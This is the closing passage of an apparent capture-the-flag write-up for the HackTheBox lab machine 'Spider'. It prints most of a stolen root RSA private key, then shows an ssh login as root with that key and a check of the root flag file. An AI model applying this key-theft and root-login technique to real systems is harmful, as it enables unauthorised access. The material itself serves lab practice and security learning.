iFtbg7RQV/xaTwAmdRfRLb7x63TG6mZDRkvFvGfihWqAnkuJNqoVJclgIXLuwUvk
4d3/Vo/MdEUb02ha7Rw9oHSYKR4pIgv4mDwxGGL+fwo6hFNCZ+YK96wMlJc3vo5Z
EgkdKXy3RnLKvtxjpIlfmAZGu0T+RX1GlmoPDqoDWRbWU+wdbES35vqxH0uM5WUh
vPt5ZDGiKID4Tft57udHxPiSD6YBhLT5ooHfFQIDAQABAoIBAFxB9Acg6Vc0kO/N
krhfyUUo4j7ZBHDfJbI7aFinZPBwRtq75VHOeexud2vMDxAeQfJ1Lyp9q8/a1mdb
sz4EkuCrQ05O9QthXJp0700+8t24WMLAHKW6qN1VW61+46iwc6iEtBZspNwIQjbN
rKwBlmMiQnAyzzDKtNu9+Ca/kZ/cAjLpz3m1NW7X//rcDL8kBGs8RfuHqz/R4R7e
HtCvxuXOFnyo/I+A3j1dPHoc5UH56g1W82NwTCbtCfMfeUsUOByLcg3yEypClO/M
s7pWQ1e4m27/NmU7R/cslc03YFQxow+CIbdd59dBKTZKErdiMd49WiZSxizL7Rdt
WBTACsUCgYEAyU9azupb71YnGQVLpdTOzoTD6ReZlbDGeqz4BD5xzbkDj7MOT5Dy
R335NRBf7EJC0ODXNVSY+4vEXqMTx9eTxpMtsP6u0WvIYwy9C7K/wCz+WXNV0zc0
kcSQH/Yfkd2jADkMxHXkz9THXCChOfEt7IUmNSM2VBKb1xBMkuLXQbMCgYEAwUBS
FhRNrIB3os7qYayE+XrGVdx/KXcKva6zn20YktWYlH2HLfXcFQQdr30cPxxBSriS
BAKYcdFXSUQDPJ1/qE21OvDLmJFu4Xs7ZdGG8o5v8JmF6TLTwi0Vi45g38DJagEl
w42zV3vV7bsAhQsMvd3igLEoDFt34jO9nQv9KBcCgYEAk8eLVAY7AxFtljKK++ui
/Xv9DWnjtz2UFo5Pa14j0O+Wq7C4OrSfBth1Tvz8TcW+ovPLSD0YKODLgOWaKcQZ
mVaF3j64OsgyzHOXe7T2iq788NF4GZuXHcL8Qlo9hqj7dbhrpPUeyWrcBsd1U8G3
AsAj8jItOb6HZHN0owefGX0CgYAICQmgu2VjZ9ARp/Lc7tR0nyNCDLII4ldC/dGg
LmQYLuNyQSnuwktNYGdvlY8oHJ+mYLhJjGYUTXUIqdhMm+vj7p87fSmqBVoL7BjT
Kfwnd761zVxhDuj5KPC9ZcUnaJe3XabZU7oCSDbj9KOX5Ja6ClDRswwMP31jnW0j
64yyLwKBgBkRFxxuGkB9IMmcN19zMWA6akE0/jD6c/51IRx9lyeOmWFPqitNenWK
teYjUjFTLgoi8MSTPAVufpdQV4128HuMbMLVpHYOVWKH/noFetpTE2uFStsNrMD8
vEgG/fMJ9XmHVsPePviZBfrnszhP77sgCXX8Grhx9GlVMUdxeo+j
-----END RSA PRIVATE KEY-----

We can now log in as root using ssh.

1
2
3
4
5
┌──(sarange㉿kali)-[~/Spider]
└─$ ssh -i root.rsa root@spider.htb                                                                                                                                                                                                    130 ⨯
Last login: Fri Jul 23 14:11:40 2021
root@spider:~# wc -c root.txt 
33 root.txt
This post is licensed under CC BY 4.0 by the author.